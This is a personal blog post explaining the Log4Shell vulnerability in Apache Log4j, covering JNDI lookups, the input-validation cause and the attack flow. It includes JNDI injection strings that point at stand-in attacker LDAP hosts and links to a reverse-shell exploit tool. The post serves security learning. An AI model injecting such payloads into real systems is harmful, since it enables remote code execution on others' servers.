[Learning] Log4shell CVE-2021-44228

 
Hi guys, long time no write ! :D 

Last week, on December 9, 2021, a Remote Code Execution vulnerability was discovered in the Apache Log4J library. This vulnerability, which is tracked in CVE-2021-44228, called as Log4Shell, allows attackers to execute arbitrary code on affected systems. Many companies are dealing with the vulnerability and should release an update as soon as possible, to prevent this critical security risk. In this blog I will write a small piece about the vulnerability. Let's dig into it!

I. What is log4j

- Log4j is a fast, reliable and flexible logging framework which is written in Java. It is an open-source logging API for java. Simply the logging means some way to indicate the state of the system at runtime. Logs are used to capture and persists the important data and make it available for analysis at any point in time.

Example

- Apache Log4j is part of the Apache Logging Project. By and large, usage of this library is one of the easiest ways to log errors, and that is why most Java developers use it.

II. Log4Shell

1. What is Java Naming and Direcoty Interface (JNDI)?

The Java Naming and Directory Interface™ (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the Java™ programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories -new, emerging, and already deployed can be accessed in a common way.

- The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows you to interface with LDAP or DNS to look up data and resources in an abstract, resource-independent way. Unfortunately, one of the data types that can be returned is a URI pointing to a Java class — and if you load an untrusted Java class, then you’re unwittingly executing someone else’s code.

- Some of the SPI’s JNDI uses include LDAP, DNS, RMI, COBRA and more.

- When the name of the requested object is controlled by an attacker, it is possible to point a victim Java application to a malicious rmi/ldap/corba server and response with an arbitrary object. If this object is an instance of "javax.naming.Reference" class, a JNDI client tries to resolve the "classFactory" and "classFactoryLocation" attributes of this object. If the "classFactory" value is unknown to the target Java application, Java fetches the factory's bytecode from the "classFactoryLocation" location by using Java's URLClassLoader.

2. Causes

+ Improper input validation

-  This means that you place too much trust in untrusted data that arrives from outsiders, and open up your software to sneaky tricks based on booby-trapped data. Software should never permit untrusted users to use untrusted data to manipulate how that very data gets handled. Otherwise, data misuse of this sort could result.

Example

log.info("Request User-Agent: {}", userAgent);

log.info("this is a security nightmare! {}", userInput)

- There are cases where part of the information logged by our program is using user-controlled data, and with complete trust in that input the user is able to manipulate it, make our server connect to an any LDAP server on the Internet and retrieve a malicious Java class that will be executed

- For the case above, userInput = "${jndi:ldap://attack-server.com/path/to/malicious/java/class}"

+ Log4j "lookup" features

https://logging.apache.org/log4j/2.x/manual/lookups.html

- Developers might generally assume that their logging framework would treat messages only as data and handle basic formatting. However, Log4j 2.0 added lookups, including JNDI lookups. These JNDI lookups were not restricted, leading to the vulnerability.

- When the string within the logging message is formatted with "${some Java class name}", Java will handle it as information that should be translated into another string by executing the Java-class specified between the "${}" and replace the "${…}" with the evaluation result. The method of searching for the correct Java class by its name is called lookup.

+ Remote lookups possible

3. Attack

- What makes CVE-2021-44228 especially dangerous is the ease of exploitation: even an inexperienced hacker can successfully execute an attack using this vulnerability. According to the researchers, attackers only need to force the application to write just one string to the log, and after that they are able to upload their own code into the application due to the message lookup substitution function.

- This vulnerability specifically targets remote locations accessed via the Lightweight Directory Access Protocol (LDAP). While LDAP was the initial target, other file locations are possible. This capability is an officially supported structure within Java to retrieve remote data that is anticipated to be on a local network but was found to also support Internet-based remote hosts. Exploitation of the Log4Shell vulnerability, residing in the Java Naming and Directory Interface (JNDI), is triggered when a received log message specifies a formatting string "${}". This string causes a lookup function to be invoked and instructed to retrieve and execute a file from a remote location. 

Steps:

- Inject the malicious JNDI LDAP URL, ${jndi:ldap://attackerserver.com:1389/ExploitPayload}, into application input that will be logged by log4j2

- The log4j2 logger will parse the JNDI URL and the vulnerable application will reach out to malicious LDAP server looking for the “ExploitPayload” object

- The attacker controller LDAP server will serve a reference to an additional attacker controller server that redirects the vulnerable application to http://attackerserver.com/ExploitPayload.class

- The vulnerable application will load the attacker’s ExploitPayload.class and execute it, enabling the attacker to gain remote code execution privileges on the host running the application. This step depends on the version of Java that the application is running with and the application itself

My Demo at

https://github.com/baobaovt/CodeReviewLab

or you can easily find at

https://github.com/christophetd/log4shell-vulnerable-app

Tool

https://github.com/faisalfs10x/Log4j2-CVE-2021-44228-revshell

References:

https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

Happy Learning!